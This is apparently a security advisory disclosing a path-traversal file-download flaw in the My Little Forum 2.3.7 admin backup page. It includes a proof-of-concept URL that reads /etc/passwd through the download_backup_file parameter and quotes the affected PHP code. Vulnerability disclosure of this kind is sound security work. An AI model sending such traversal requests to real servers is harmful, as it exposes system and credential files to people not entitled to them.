My Little Forum 2.3.7 File Disclosure

`Title:  
======  
My Little Forum 2.3.7 - Source Code Disclosure  
  
  
Product & Service Introduction:  
===============================  
My little forum is a simple PHP and MySQL based internet forum that displays the messages in classical threaded view (tree structure). It is Open Source licensed under the GNU General Public License. The main claim of this web forum is simplicity. Furthermore it should be easy to install and run on a standard server configuration with PHP and MySQL.  
  
  
Software Link:  
==============  
https://github.com/ilosuna/mylittleforum/archive/master.zip  
  
  
Vulnerability Type:  
=========================  
Source Code Disclosure  
  
  
Vulnerability Details:  
==============================  
No input validation check is done on download backup file page inputs.  
Therefore,We can entering whatever and download files.  
  
  
Severity Level:  
===============  
High  
  
  
Proof of Concept (PoC):  
=======================  
for use this vulnerability you need to access admin , this vulnerability is in backup part.  
vulnerable parameter is download_backup_file and we can enter every file want to download for this parameter.  
Download Passwd file : http://localhost/mylittleforum-master/index.php?mode=admin&download_backup_file=../../../../../etc/passwd  
  
  
Vulnerable Code :  
==================  
File :"admin.inc.php"  
  
if(isset($_GET['download_backup_file']))  
{  
$file = 'backup/'.$_GET['download_backup_file'];  
if(check_filename($_GET['download_backup_file']) && file_exists($file))  
{  
$len = filesize($file);  
$fh = @fopen($file,"r");  
if(!$fh) return false;  
$data = fread($fh, $len);  
fclose($fh);  
header("Content-Type: text/plain; charset=".$lang['charset']);  
header("Content-Disposition: attachment; filename=".$_GET['download_backup_file']);  
header("Accept-Ranges: bytes");  
header("Content-Length: ".$len);  
echo $data;  
exit;  
}  
else  
{  
$errors[] = 'error_file_doesnt_exist';  
$smarty->assign('errors',$errors);  
$action = 'backup';  
}  
}  
  
Author:  
==================  
Ashiyane Digital Security Team  
  
`